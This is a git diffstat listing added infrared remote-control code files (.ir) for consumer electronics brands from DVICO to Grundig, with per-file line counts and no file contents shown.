| 236 + .../DVICO/Unknown_FusionRemote/1,-1.ir | 272 + .../_CSV-IRDB_/Da Lite/Screen/0,-1.ir | 20 + .../Daeumling/Unknown_SR200/128,38.ir | 122 + .../_CSV-IRDB_/Daewoo/DVD Player/21,-1.ir | 260 + .../infrared/_CSV-IRDB_/Daewoo/TV/20,-1.ir | 56 + .../infrared/_CSV-IRDB_/Daewoo/TV/4,-1.ir | 14 + .../infrared/_CSV-IRDB_/Daewoo/TV/6,6.ir | 14 + .../_CSV-IRDB_/Daewoo/Unknown_14Q3/0,-1.ir | 164 + .../Daewoo/Unknown_97P04701/21,-1.ir | 224 + .../Daewoo/Unknown_97P1R2ZDA0/21,-1.ir | 260 + .../Daewoo/Unknown_97P1RA3AB0/21,-1.ir | 176 + .../_CSV-IRDB_/Daewoo/Unknown_DAEWOO/0,-1.ir | 164 + .../_CSV-IRDB_/Daewoo/Unknown_DAEWOO/21,-1.ir | 230 + .../_CSV-IRDB_/Daewoo/Unknown_DS608P/17,-1.ir | 182 + .../_CSV-IRDB_/Daewoo/Unknown_DV-800/21,-1.ir | 308 + .../Daewoo/Unknown_DV-F24D/21,-1.ir | 236 + .../Daewoo/Unknown_DVDS150/32,-1.ir | 260 + .../Daewoo/Unknown_R-40A06/20,-1.ir | 164 + .../Daewoo/Unknown_R-40A10/20,-1.ir | 152 + .../Daewoo/Unknown_R-40A15/20,-1.ir | 98 + .../Daewoo/Unknown_R-43A08/20,-1.ir | 134 + .../_CSV-IRDB_/Daewoo/Unknown_VCR/21,-1.ir | 218 + .../_CSV-IRDB_/Daewoo/Unknown_VCR/49,-1.ir | 188 + .../_CSV-IRDB_/Daewoo/Unknown_Visa/20,-1.ir | 236 + .../_CSV-IRDB_/Daewoo/Unknown_r-22/0,-1.ir | 206 + .../infrared/_CSV-IRDB_/Daewoo/VCR/21,-1.ir | 212 + .../_CSV-IRDB_/Dantax/DVD Player/0,-1.ir | 260 + .../_CSV-IRDB_/Dantax/Unknown_RC/0,-1.ir | 278 + .../Dedicated Micros/Camera Switcher/4,-1.ir | 254 + .../infrared/_CSV-IRDB_/Dell/TV/0,28.ir | 218 + .../_CSV-IRDB_/Dell/Unknown_XPS/43,28.ir | 104 + .../_CSV-IRDB_/Dell/Video Projector/79,80.ir | 176 + .../Delphi/Satellite Receiver/27,-1.ir | 290 + .../_CSV-IRDB_/Denon/AV Processor/12,-1.ir | 104 + .../_CSV-IRDB_/Denon/AV Processor/2,-1.ir | 164 + .../_CSV-IRDB_/Denon/AV Processor/4,-1.ir | 14 + .../_CSV-IRDB_/Denon/Amplifier/12,-1.ir | 230 + .../_CSV-IRDB_/Denon/Amplifier/2,-1.ir | 596 + .../_CSV-IRDB_/Denon/Amplifier/4,-1.ir | 224 + .../_CSV-IRDB_/Denon/Amplifier/6,-1.ir | 104 + .../_CSV-IRDB_/Denon/Amplifier/8,-1.ir | 134 + .../infrared/_CSV-IRDB_/Denon/Blu-Ray/2,1.ir | 278 + .../_CSV-IRDB_/Denon/CD Jukebox/4,-1.ir | 44 + .../_CSV-IRDB_/Denon/CD Jukebox/8,-1.ir | 344 + .../_CSV-IRDB_/Denon/CD Player/168,-1.ir | 224 + .../_CSV-IRDB_/Denon/CD Player/175,-1.ir | 14 + .../_CSV-IRDB_/Denon/CD Player/4,-1.ir | 44 + .../_CSV-IRDB_/Denon/CD Player/6,-1.ir | 260 + .../_CSV-IRDB_/Denon/CD Player/8,-1.ir | 956 + .../_CSV-IRDB_/Denon/CD Receiver/12,-1.ir | 98 + .../_CSV-IRDB_/Denon/CD Receiver/4,-1.ir | 14 + .../_CSV-IRDB_/Denon/CD Receiver/6,-1.ir | 14 + .../_CSV-IRDB_/Denon/CD Receiver/8,-1.ir | 212 + .../_CSV-IRDB_/Denon/Cassette Tape/12,-1.ir | 98 + .../_CSV-IRDB_/Denon/Cassette Tape/2,-1.ir | 38 + .../_CSV-IRDB_/Denon/Cassette Tape/4,-1.ir | 176 + .../_CSV-IRDB_/Denon/Cassette Tape/8,-1.ir | 38 + .../infrared/_CSV-IRDB_/Denon/DAT/4,-1.ir | 194 + .../_CSV-IRDB_/Denon/DVD Player/176,0.ir | 482 + .../_CSV-IRDB_/Denon/DVD Player/2,-1.ir | 8 + .../_CSV-IRDB_/Denon/DVD Player/2,1.ir | 158 + .../_CSV-IRDB_/Denon/DVD Player/4,-1.ir | 62 + .../_CSV-IRDB_/Denon/DVD Player/6,-1.ir | 116 + .../_CSV-IRDB_/Denon/DVD Player/8,-1.ir | 1076 ++ .../_CSV-IRDB_/Denon/Laser Disc/168,-1.ir | 266 + .../_CSV-IRDB_/Denon/Mini-Disc/6,-1.ir | 206 + .../_CSV-IRDB_/Denon/Pre-Amplifier/12,-1.ir | 80 + .../_CSV-IRDB_/Denon/Pre-Amplifier/2,-1.ir | 86 + .../_CSV-IRDB_/Denon/Processor/12,-1.ir | 206 + .../_CSV-IRDB_/Denon/Processor/2,-1.ir | 392 + .../_CSV-IRDB_/Denon/Processor/4,-1.ir | 44 + .../_CSV-IRDB_/Denon/Processor/4,1.ir | 26 + .../_CSV-IRDB_/Denon/Processor/4,3.ir | 8 + .../_CSV-IRDB_/Denon/Processor/4,5.ir | 8 + .../_CSV-IRDB_/Denon/Receiver/12,-1.ir | 788 + .../_CSV-IRDB_/Denon/Receiver/2,-1.ir | 614 + .../infrared/_CSV-IRDB_/Denon/Receiver/2,3.ir | 236 + .../_CSV-IRDB_/Denon/Receiver/4,-1.ir | 302 + .../infrared/_CSV-IRDB_/Denon/Receiver/4,1.ir | 1166 ++ .../infrared/_CSV-IRDB_/Denon/Receiver/4,2.ir | 170 + .../infrared/_CSV-IRDB_/Denon/Receiver/4,3.ir | 782 + .../infrared/_CSV-IRDB_/Denon/Receiver/4,5.ir | 266 + .../infrared/_CSV-IRDB_/Denon/Receiver/4,7.ir | 608 + .../_CSV-IRDB_/Denon/Receiver/6,-1.ir | 146 + .../infrared/_CSV-IRDB_/Denon/Receiver/7,4.ir | 182 + .../infrared/_CSV-IRDB_/Denon/Receiver/7,5.ir | 176 + .../infrared/_CSV-IRDB_/Denon/Receiver/7,6.ir | 380 + .../infrared/_CSV-IRDB_/Denon/Receiver/7,7.ir | 248 + .../infrared/_CSV-IRDB_/Denon/Receiver/7,8.ir | 242 + .../_CSV-IRDB_/Denon/Receiver/8,-1.ir | 632 + .../_CSV-IRDB_/Denon/Receiver/80,-1.ir | 38 + .../_CSV-IRDB_/Denon/Receiver/96,-1.ir | 56 + .../_CSV-IRDB_/Denon/Receiver/97,-1.ir | 8 + .../infrared/_CSV-IRDB_/Denon/Tuner/12,-1.ir | 338 + .../infrared/_CSV-IRDB_/Denon/Tuner/2,-1.ir | 86 + .../_CSV-IRDB_/Denon/Unknown/176,0.ir | 230 + .../_CSV-IRDB_/Denon/Unknown_Denon/91,-1.ir | 218 + .../_CSV-IRDB_/Denon/Unknown_RC-220/8,-1.ir | 158 + .../_CSV-IRDB_/Denon/Unknown_RC-224/8,-1.ir | 158 + .../_CSV-IRDB_/Denon/Unknown_RC-241/8,-1.ir | 164 + .../_CSV-IRDB_/Denon/Unknown_RC-541/176,0.ir | 236 + .../_CSV-IRDB_/Denon/Unknown_RC-861/2,2.ir | 332 + .../_CSV-IRDB_/Denon/Unknown_RC267/6,-1.ir | 188 + .../Denon/Unknown_denon-rc-251/8,-1.ir | 218 + .../Denon/Unknown_denon-rc-266/8,-1.ir | 230 + .../_CSV-IRDB_/Denver/Unknown_DVD-228/4,-1.ir | 272 + .../Digiquest/DGQ-3300_DVB-T/0,191.ir | 260 + .../Digiquest/DGQ-7600HD_DVB-T/0,191.ir | 254 + .../_CSV-IRDB_/Digiquest/DVB-T/1,254.ir | 212 + .../Digital Music Expres/DMX/38,-1.ir | 134 + .../Digital Projection/Projector/32,-1.ir | 272 + .../Video Projector/32,-1.ir | 452 + .../Digital Projection/Video Scaler/58,-1.ir | 158 + .../Digital Stream/HDTV Tuner/4,2.ir | 212 + .../Digital Stream/Unknown_Stream/18,52.ir | 194 + .../DigitalView/HDTV Tuner/128,-1.ir | 200 + .../DirecTV/Basic Satellite/12,-1.ir | 248 + .../DirecTV/Basic Satellite/7,-1.ir | 152 + .../infrared/_CSV-IRDB_/DirecTV/DSS/12,-1.ir | 320 + .../infrared/_CSV-IRDB_/DirecTV/DVR/133,48.ir | 434 + .../_CSV-IRDB_/DirecTV/HDTV Tuner/12,-1.ir | 218 + .../_CSV-IRDB_/DirecTV/Receiver HD/12,-1.ir | 398 + .../_CSV-IRDB_/DirecTV/Receiver HD/12,251.ir | 14 + .../_CSV-IRDB_/DirecTV/Receiver HD/13,-1.ir | 260 + .../DirecTV/Receiver HDDVR/12,-1.ir | 506 + .../DirecTV/Receiver HDDVR/13,-1.ir | 254 + .../_CSV-IRDB_/DirecTV/Receiver HDDVR/2,-1.ir | 290 + .../_CSV-IRDB_/DirecTV/Receiver HDDVR/3,-1.ir | 284 + .../DirecTV/Receiver HDDVR/64,-1.ir | 32 + .../DirecTV/Receiver HDDVR/71,-1.ir | 14 + .../_CSV-IRDB_/DirecTV/Receiver SD/12,-1.ir | 254 + .../_CSV-IRDB_/DirecTV/Receiver SD/13,-1.ir | 254 + .../DirecTV/Receiver SDDVR/12,-1.ir | 278 + .../DirecTV/Receiver SDDVR/133,48.ir | 194 + .../_CSV-IRDB_/DirecTV/Satellite/12,-1.ir | 536 + .../_CSV-IRDB_/DirecTV/Satellite/133,48.ir | 284 + .../_CSV-IRDB_/DirecTV/Satellite/4,-1.ir | 8 + .../_CSV-IRDB_/DirecTV/Unknown/12,-1.ir | 26 + .../_CSV-IRDB_/DirecTV/Unknown/12,251.ir | 14 + .../DirecTV/Unknown_G051204/12,-1.ir | 254 + .../_CSV-IRDB_/DirecTV/Unknown_H23/12,-1.ir | 218 + .../DirecTV/Unknown_HD20-100/12,-1.ir | 158 + .../_CSV-IRDB_/DirecTV/Unknown_RC16/12,-1.ir | 242 + .../_CSV-IRDB_/DirecTV/Unknown_RC32/12,-1.ir | 218 + .../_CSV-IRDB_/DirecTV/Unknown_RC64/12,-1.ir | 260 + .../Dish Network/Satelite DVR/0,0.ir | 254 + .../Dish Network/Satelite DVR/1,0.ir | 158 + .../Dish Network/Satelite DVR/15,-1.ir | 20 + .../_CSV-IRDB_/Dish Network/Satellite/0,0.ir | 668 + .../_CSV-IRDB_/Dish Network/Satellite/0,1.ir | 236 + .../_CSV-IRDB_/Dish Network/Satellite/0,12.ir | 164 + .../_CSV-IRDB_/Dish Network/Satellite/0,2.ir | 176 + .../_CSV-IRDB_/Dish Network/Satellite/0,3.ir | 176 + .../_CSV-IRDB_/Dish Network/Satellite/0,31.ir | 14 + .../_CSV-IRDB_/Dish Network/Satellite/0,4.ir | 284 + .../_CSV-IRDB_/Dish Network/Satellite/0,5.ir | 272 + .../_CSV-IRDB_/Dish Network/Satellite/0,6.ir | 242 + .../_CSV-IRDB_/Dish Network/Satellite/0,7.ir | 284 + .../_CSV-IRDB_/Dish Network/Satellite/1,0.ir | 302 + .../_CSV-IRDB_/Dish Network/Satellite/1,1.ir | 26 + .../_CSV-IRDB_/Dish Network/Satellite/1,12.ir | 56 + .../_CSV-IRDB_/Dish Network/Satellite/1,2.ir | 20 + .../_CSV-IRDB_/Dish Network/Satellite/1,3.ir | 20 + .../_CSV-IRDB_/Dish Network/Satellite/1,4.ir | 110 + .../_CSV-IRDB_/Dish Network/Satellite/1,5.ir | 104 + .../_CSV-IRDB_/Dish Network/Satellite/1,6.ir | 110 + .../_CSV-IRDB_/Dish Network/Satellite/1,7.ir | 92 + .../Dish Network/Satellite/15,-1.ir | 20 + .../_CSV-IRDB_/Dish Network/Satellite/16,0.ir | 26 + .../_CSV-IRDB_/Dish Network/Satellite/24,0.ir | 74 + .../Dish Network/Satellite/28,-1.ir | 14 + .../_CSV-IRDB_/Dish Network/Satellite/4,0.ir | 8 + .../_CSV-IRDB_/Dish Network/Satellite/4,5.ir | 8 + .../Dish Network/Satellite/48,-1.ir | 20 + .../_CSV-IRDB_/Dish Network/Satellite/8,0.ir | 14 + .../Domland/Unknown_domland-MH10CA/131,101.ir | 104 + .../_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir | 20 + .../_CSV-IRDB_/Draper/Electric Screen/0,-1.ir | 20 + .../infrared/_CSV-IRDB_/Draper/Screen/0,-1.ir | 20 + .../infrared/_CSV-IRDB_/Draper/Screen/2,-1.ir | 20 + .../Dream Multimedia/Unknown_URC7562/0,-1.ir | 188 + .../Dream Vision/DLP Projector/135,78.ir | 248 + .../_CSV-IRDB_/Dream/Satellite/0,-1.ir | 212 + .../_CSV-IRDB_/Dream/Satellite/10,0.ir | 26 + .../_CSV-IRDB_/Dream/Satellite/11,0.ir | 8 + .../_CSV-IRDB_/Dream/Satellite/25,0.ir | 38 + .../_CSV-IRDB_/Dream/Satellite/26,0.ir | 788 + .../_CSV-IRDB_/Dream/Satellite/41,0.ir | 14 + .../Durabrand/Unknown_PTV141/128,99.ir | 188 + .../_CSV-IRDB_/Dwin/Line Multiplier/1,-1.ir | 206 + .../infrared/_CSV-IRDB_/Dwin/Plasma/15,-1.ir | 128 + .../_CSV-IRDB_/Dwin/Projector/15,-1.ir | 134 + .../infrared/_CSV-IRDB_/Dwin/TV/15,-1.ir | 152 + .../_CSV-IRDB_/Dwin/Video Processor/1,-1.ir | 272 + .../_CSV-IRDB_/Dwin/Video Processor/7,0.ir | 8 + .../_CSV-IRDB_/Dwin/Video Projector/15,-1.ir | 536 + .../_CSV-IRDB_/Dwin/Video Projector/7,0.ir | 8 + .../_CSV-IRDB_/Dynaudio/Unknown_Sub/1,-1.ir | 98 + .../_CSV-IRDB_/Dynex/Unknown_DX-CVS4/2,-1.ir | 26 + .../_CSV-IRDB_/E Max/DVD Player/0,223.ir | 254 + .../_CSV-IRDB_/E-tech/Unknown_FLY98/96,1.ir | 182 + .../ELTASAT/Unknown_SAT170/66,253.ir | 128 + .../Unknown_URC-4021ABA1-006-R/230,4.ir | 212 + .../Eagle Aspen/Unknown_Aspen/120,-1.ir | 116 + .../infrared/_CSV-IRDB_/Echostar/DSS/0,0.ir | 134 + .../infrared/_CSV-IRDB_/Echostar/DVR/0,0.ir | 176 + .../infrared/_CSV-IRDB_/Echostar/DVR/1,0.ir | 74 + .../_CSV-IRDB_/Echostar/Dish Network/0,0.ir | 140 + .../_CSV-IRDB_/Echostar/PVR SAT/0,0.ir | 152 + .../_CSV-IRDB_/Echostar/PVR SAT/1,0.ir | 56 + .../_CSV-IRDB_/Echostar/Satelite DVR/0,0.ir | 272 + .../_CSV-IRDB_/Echostar/Satelite DVR/0,4.ir | 170 + .../_CSV-IRDB_/Echostar/Satelite DVR/1,0.ir | 170 + .../_CSV-IRDB_/Echostar/Satelite DVR/1,4.ir | 56 + .../_CSV-IRDB_/Echostar/Satelite DVR/2,-1.ir | 14 + .../_CSV-IRDB_/Echostar/Satellite/0,0.ir | 290 + .../_CSV-IRDB_/Echostar/Satellite/1,0.ir | 80 + .../_CSV-IRDB_/Echostar/Satellite/16,0.ir | 14 + .../_CSV-IRDB_/Echostar/Satellite/4,-1.ir | 20 + .../Echostar/Unknown_AD3000IP/4,0.ir | 176 + .../Echostar/Unknown_DSB-616/5,-1.ir | 212 + .../Echostar/Unknown_DSB-636/4,0.ir | 194 + .../_CSV-IRDB_/Elan/Camera Switcher/0,-1.ir | 86 + .../infrared/_CSV-IRDB_/Elan/DMX/100,-1.ir | 230 + .../infrared/_CSV-IRDB_/Elan/DMX/14,-1.ir | 236 + .../infrared/_CSV-IRDB_/Elan/DMX/96,-1.ir | 230 + .../infrared/_CSV-IRDB_/Elan/DMX/99,-1.ir | 230 + .../_CSV-IRDB_/Elan/DVD Manager/15,-1.ir | 284 + .../infrared/_CSV-IRDB_/Elan/HD/0,-1.ir | 68 + .../infrared/_CSV-IRDB_/Elan/HD/1,-1.ir | 308 + .../infrared/_CSV-IRDB_/Elan/HD/2,-1.ir | 8 + .../infrared/_CSV-IRDB_/Elan/HD/4,-1.ir | 278 + .../infrared/_CSV-IRDB_/Elan/HD/5,-1.ir | 236 + .../_CSV-IRDB_/Elan/IR Router/1,-1.ir | 14 + .../_CSV-IRDB_/Elan/IR Router/2,-1.ir | 194 + .../infrared/_CSV-IRDB_/Elan/Jukebox/96,-1.ir | 74 + .../_CSV-IRDB_/Elan/Master Controller/0,-1.ir | 50 + .../_CSV-IRDB_/Elan/Master Controller/1,-1.ir | 98 + .../_CSV-IRDB_/Elan/Master Controller/5,-1.ir | 80 + .../_CSV-IRDB_/Elan/Pre-Amplifier/0,-1.ir | 170 + .../_CSV-IRDB_/Elan/Satellite Radio/26,-1.ir | 134 + .../infrared/_CSV-IRDB_/Elan/Tuner/129,115.ir | 254 + .../_CSV-IRDB_/Elan/Video Controller/0,-1.ir | 152 + .../_CSV-IRDB_/Elan/Video Switcher/0,-1.ir | 182 + .../_CSV-IRDB_/Elan/Video Switcher/1,-1.ir | 50 + .../_CSV-IRDB_/Elan/Volume Control/0,-1.ir | 26 + .../_CSV-IRDB_/Elan/Volume Control/1,241.ir | 32 + .../_CSV-IRDB_/Elan/Volume Control/255,15.ir | 8 + .../Electrocompaniet/CD Player/20,-1.ir | 158 + .../Integrated Amplifier/16,-1.ir | 50 + .../Electrokinetics/Plasma Lift/0,-1.ir | 8 + .../Elenberg/Unknown_RC-404E/0,251.ir | 290 + .../_CSV-IRDB_/Elitron/Unknown_utk/7,-1.ir | 152 + .../_CSV-IRDB_/Elmo/CAMERA_PRC-100S/32,-1.ir | 158 + .../infrared/_CSV-IRDB_/Elmo/Camera/128,-1.ir | 194 + .../Elmo/Video Projector/132,132.ir | 74 + .../Elmo/Video Projector/134,134.ir | 74 + .../infrared/_CSV-IRDB_/Emerson/TV/0,-1.ir | 158 + .../infrared/_CSV-IRDB_/Emerson/TV/135,34.ir | 296 + .../Unknown_Emerson-NB050-DVD/135,34.ir | 236 + .../Emerson/Unknown_emerson-cd/3,1.ir | 38 + .../Emerson/Unknown_emerson/134,5.ir | 158 + .../Emerson/Unknown_emersontv/22,22.ir | 158 + .../infrared/_CSV-IRDB_/Emerson/VCR/21,-1.ir | 176 + .../infrared/_CSV-IRDB_/Emerson/VCR/4,-1.ir | 14 + .../infrared/_CSV-IRDB_/Emerson/VCR/40,-1.ir | 146 + .../_CSV-IRDB_/Epson/Projector/131,85.ir | 344 + .../Epson/Unknown_12807990/131,85.ir | 158 + .../Epson/Unknown_ELPST12/131,85.ir | 98 + .../Epson/Video Projector/131,85.ir | 140 + .../_CSV-IRDB_/Escient/CD Jukebox/0,0.ir | 230 + .../_CSV-IRDB_/Escient/CD Jukebox/14,0.ir | 200 + .../_CSV-IRDB_/Escient/CD Jukebox/15,0.ir | 176 + .../_CSV-IRDB_/Escient/CD Jukebox/48,-1.ir | 8 + .../_CSV-IRDB_/Escient/CD Jukebox/91,-1.ir | 8 + .../_CSV-IRDB_/Escient/CD Management/0,0.ir | 314 + .../_CSV-IRDB_/Escient/CD Management/14,0.ir | 398 + .../_CSV-IRDB_/Escient/CD Management/91,-1.ir | 8 + .../_CSV-IRDB_/Escient/DVD Library/1,22.ir | 8 + .../_CSV-IRDB_/Escient/DVD Library/8,-1.ir | 212 + .../_CSV-IRDB_/Escient/DVD Player/1,22.ir | 218 + .../_CSV-IRDB_/Escient/DVD Player/2,22.ir | 224 + .../_CSV-IRDB_/Escient/DVD Player/3,22.ir | 218 + .../_CSV-IRDB_/Escient/DVD Player/4,22.ir | 320 + .../_CSV-IRDB_/Escient/DVD Player/8,-1.ir | 212 + .../Escient/Digital Jukebox/15,0.ir | 332 + .../Escient/Digital Media Receiver/1,22.ir | 248 + .../Escient/Digital Media Receiver/15,-1.ir | 20 + .../Escient/Hard Drive Recorder/15,0.ir | 266 + .../_CSV-IRDB_/Escient/MP3 Player/0,-1.ir | 38 + .../_CSV-IRDB_/Escient/MP3 Player/1,22.ir | 254 + .../_CSV-IRDB_/Escient/MP3 Player/14,-1.ir | 14 + .../_CSV-IRDB_/Escient/MP3 Player/15,-1.ir | 20 + .../_CSV-IRDB_/Escient/MP3 Player/4,22.ir | 104 + .../_CSV-IRDB_/Escient/Media Manager/1,22.ir | 644 + .../_CSV-IRDB_/Escient/Media Manager/15,-1.ir | 8 + .../_CSV-IRDB_/Escient/Media Manager/15,0.ir | 422 + .../_CSV-IRDB_/Escient/Media Manager/2,22.ir | 338 + .../_CSV-IRDB_/Escient/Media Manager/3,22.ir | 326 + .../Escient/Media Manager/33,184.ir | 464 + .../_CSV-IRDB_/Escient/Media Manager/4,22.ir | 434 + .../_CSV-IRDB_/Escient/Media Manager/48,-1.ir | 8 + .../_CSV-IRDB_/Escient/Media Server/1,22.ir | 140 + .../_CSV-IRDB_/Escient/Media Server/4,22.ir | 146 + .../Esoteric Audio/DVD Player/133,32.ir | 272 + .../Euroconsumers/Unknown_LG-5988/136,-1.ir | 272 + .../_CSV-IRDB_/Expressvu/Unknown_3100/0,0.ir | 80 + .../_CSV-IRDB_/Extron/Switcher/0,-1.ir | 74 + .../_CSV-IRDB_/Extron/Switcher/128,84.ir | 98 + .../_CSV-IRDB_/FSC/DVD Player/4,15.ir | 308 + .../FTE Maximal/Unknown_FTE/73,-1.ir | 134 + .../_CSV-IRDB_/FUBA/Unknown_ALPS/134,75.ir | 158 + .../_CSV-IRDB_/FUBA/Unknown_FUBA/134,75.ir | 146 + .../FUNAI/Unknown_NF021RD/132,224.ir | 254 + .../Fagor/Unknown_TEDI100/192,-1.ir | 104 + .../Falcon/Unknown_VT-1000/16,47.ir | 98 + .../_CSV-IRDB_/Faroudja/DVD Player/163,-1.ir | 266 + .../_CSV-IRDB_/Faroudja/DVD Player/175,-1.ir | 194 + .../_CSV-IRDB_/Faroudja/Line Doubler/1,-1.ir | 50 + .../Faroudja/Line Quadrupler/1,-1.ir | 50 + .../_CSV-IRDB_/Faroudja/Processor/1,-1.ir | 86 + .../Faroudja/Video Processor/1,-1.ir | 218 + .../Faroudja/Video Processor/27,-1.ir | 194 + .../Faroudja/Video Projector/0,-1.ir | 14 + .../Faroudja/Video Projector/1,-1.ir | 182 + .../Faroudja/Video Projector/13,-1.ir | 8 + .../Faroudja/Video Projector/135,78.ir | 62 + .../Faroudja/Video Projector/24,-1.ir | 62 + .../Faroudja/Video Projector/24,24.ir | 92 + .../Faroudja/Video Projector/30,-1.ir | 8 + .../infrared/_CSV-IRDB_/Fast/TV/28,-1.ir | 458 + .../infrared/_CSV-IRDB_/Fast/TVS/28,-1.ir | 62 + .../Fedders/Air Conditioner/32,-1.ir | 38 + .../Fisher/Surround Processor/48,48.ir | 8 + .../Fisher/Surround Processor/54,200.ir | 140 + .../infrared/_CSV-IRDB_/Fisher/TV/0,-1.ir | 14 + .../infrared/_CSV-IRDB_/Fisher/TV/56,-1.ir | 152 + .../Fisher/Unknown_RC720F/104,-1.ir | 50 + .../Fisher/Unknown_RCA-9060/54,-1.ir | 284 + .../Fisher/Unknown_REM-1500/162,162.ir | 188 + .../_CSV-IRDB_/Fisher/Unknown_ra/60,-1.ir | 278 + .../Fortec/Unknown_Lifetime/32,-1.ir | 188 + .../Fortec/Unknown_Mercury2/1,253.ir | 284 + .../Fosgate/Pre-Amplifier/131,69.ir | 14 + .../Fosgate/Pre-Amplifier/131,95.ir | 14 + .../_CSV-IRDB_/Fosgate/Pre-Amplifier/64,64.ir | 218 + .../Fosgate/Surround Processor/132,66.ir | 458 + .../_CSV-IRDB_/Foxtel/Set Top Box/33,160.ir | 212 + .../_CSV-IRDB_/Foxtel/Unknown_Digital/0,0.ir | 194 + .../Foxtel/Unknown_foxtel/33,160.ir | 212 + .../_CSV-IRDB_/Free/Unknown_REMOTE/11,-1.ir | 212 + .../_CSV-IRDB_/Free/Unknown_V5/36,12.ir | 296 + .../_CSV-IRDB_/Freecom/Unknown_MP35/128,-1.ir | 254 + .../_CSV-IRDB_/Freecom/Unknown_usb/128,-1.ir | 110 + .../Fresat/Unknown_SER-3000PL/8,64.ir | 164 + .../Friedrich/Air Conditioner/1,-1.ir | 68 + .../Friedrich/Air Conditioner/16,-1.ir | 8 + .../Unknown_RC1-1241-21/32,176.ir | 254 + .../Fujitsu Siemens/Unknown_RC811/4,15.ir | 164 + .../_CSV-IRDB_/Fujitsu/Monitor/132,-1.ir | 242 + .../_CSV-IRDB_/Fujitsu/Monitor/132,138.ir | 110 + .../_CSV-IRDB_/Fujitsu/Monitor/132,139.ir | 44 + .../_CSV-IRDB_/Fujitsu/Monitor/132,140.ir | 20 + .../_CSV-IRDB_/Fujitsu/Plasma/132,-1.ir | 632 + .../_CSV-IRDB_/Fujitsu/Plasma/132,129.ir | 44 + .../_CSV-IRDB_/Fujitsu/Plasma/132,130.ir | 8 + .../_CSV-IRDB_/Fujitsu/Plasma/132,134.ir | 8 + .../_CSV-IRDB_/Fujitsu/Plasma/132,136.ir | 8 + .../_CSV-IRDB_/Fujitsu/Plasma/132,138.ir | 410 + .../_CSV-IRDB_/Fujitsu/Plasma/132,139.ir | 338 + .../_CSV-IRDB_/Fujitsu/Plasma/132,140.ir | 50 + .../_CSV-IRDB_/Fujitsu/Plasma/132,141.ir | 140 + .../_CSV-IRDB_/Fujitsu/Plasma/140,132.ir | 8 + .../infrared/_CSV-IRDB_/Fujitsu/TV/132,-1.ir | 80 + .../Fujitsu/Unknown_CP300375-01/4,15.ir | 242 + .../_CSV-IRDB_/Fujtech/Unknown_DVB-T/3,-1.ir | 110 + .../Fusion Research/DVD Server/17,-1.ir | 212 + .../GAMEFACTORY/Unknown_PS2DVD/0,246.ir | 110 + .../infrared/_CSV-IRDB_/GE/TV/15,-1.ir | 302 + .../infrared/_CSV-IRDB_/GE/VCR/11,-1.ir | 14 + .../infrared/_CSV-IRDB_/GE/VCR/14,-1.ir | 230 + .../infrared/_CSV-IRDB_/GE/VCR/26,73.ir | 8 + .../_CSV-IRDB_/GE/VCR_VKFS0938/14,-1.ir | 224 + .../_CSV-IRDB_/GVC/Unknown_RM-RK50/143,-1.ir | 56 + .../_CSV-IRDB_/Galaxis/Satellite/13,80.ir | 188 + .../Galaxis/Unknown_GALAXIS-RC5/0,-1.ir | 188 + .../Galaxis/Unknown_Galaxis-RCMM/13,80.ir | 260 + .../Galaxis/Unknown_Galaxis.sat/81,175.ir | 104 + .../_CSV-IRDB_/Galaxis/Unknown_rc1/7,-1.ir | 290 + .../Gefen Systems/DVI Switcher/11,-1.ir | 26 + .../Gefen Systems/HDMI Switcher/11,-1.ir | 74 + .../Gefen Systems/Matrix Switcher/11,-1.ir | 194 + .../_CSV-IRDB_/Gefen Systems/Unknown/24,-1.ir | 374 + .../_CSV-IRDB_/General Electric/TV/15,-1.ir | 170 + .../_CSV-IRDB_/General Electric/VCR/11,-1.ir | 14 + .../_CSV-IRDB_/General Electric/VCR/14,-1.ir | 158 + .../_CSV-IRDB_/General Electric/VCR/26,73.ir | 8 + .../General Instrument/Cable Box/0,-1.ir | 392 + .../General Instrument/Cable Box/1,-1.ir | 20 + .../General Instrument/Cable Box/122,-1.ir | 20 + .../General Instrument/Cable Box/144,0.ir | 8 + .../General Instrument/Cable Box/15,-1.ir | 8 + .../General Instrument/Cable Box/64,-1.ir | 8 + .../General Instrument/Cable Box/87,-1.ir | 8 + .../General Instrument/Satellite/1,-1.ir | 20 + .../General Instrument/Satellite/130,110.ir | 326 + .../General Instruments/Unknown_550/-1,-1.ir | 164 + .../Unknown_XRC-200/0,-1.ir | 506 + .../_CSV-IRDB_/General/Unknown_VCR/22,-1.ir | 56 + .../_CSV-IRDB_/Genesis/Theater in Box/0,-1.ir | 278 + .../Geniatech/Unknown_Supera/0,-1.ir | 206 + .../Genius/Unknown_Genius-DVB-T32/5,-1.ir | 200 + .../_CSV-IRDB_/Genus/Unknown_DU1/128,-1.ir | 152 + .../_CSV-IRDB_/Gericom/Plasma/3,-1.ir | 356 + .../_CSV-IRDB_/Get/Unknown_gethdpvr/72,36.ir | 272 + .../_CSV-IRDB_/Gigabyte/Unknown_TV/134,107.ir | 170 + .../Go Video/DVD Recorder/10,247.ir | 218 + .../_CSV-IRDB_/Go Video/VCR/132,98.ir | 194 + .../infrared/_CSV-IRDB_/Go Video/VCR/5,5.ir | 380 + .../infrared/_CSV-IRDB_/Go Video/VCR/7,7.ir | 14 + .../GoldStar/Unknown_GOLDSTAR/4,-1.ir | 152 + .../GoldStar/Unknown_Goldstar-VCR/110,-1.ir | 152 + .../GoldStar/Unknown_RN800AW/110,-1.ir | 74 + .../_CSV-IRDB_/GoldStar/Unknown_VCR/110,-1.ir | 146 + .../_CSV-IRDB_/GoldStar/Unknown_cd/16,16.ir | 134 + .../_CSV-IRDB_/GoldStar/VCR/110,-1.ir | 122 + .../Golden Interstar/Sat/128,255.ir | 248 + .../Unknown_Interstar/4,16.ir | 248 + .../_CSV-IRDB_/Goldmund/CD Player/20,-1.ir | 44 + .../_CSV-IRDB_/Goodmans/Unknown_GDB/8,-1.ir | 200 + .../Goodmans/Unknown_GDVD124/0,-1.ir | 260 + .../Goodmans/Unknown_RC-BM/128,123.ir | 212 + .../Goodmans/Unknown_md305/135,108.ir | 194 + .../Govideo/Unknown_GoVideoD2730/8,230.ir | 266 + .../_CSV-IRDB_/Gradiente/Unknown_D-10/5,-1.ir | 188 + .../Gradiente/Unknown_GSD-100/132,60.ir | 158 + .../_CSV-IRDB_/Gran Prix/Unknown_prix/0,-1.ir | 224 + .../_CSV-IRDB_/Grand Tech/Cable Box/2,-1.ir | 128 + .../_CSV-IRDB_/Griffin/iPod/212,190.ir | 98 + .../_CSV-IRDB_/Grundig/Satellite/1,-1.ir | 8 + 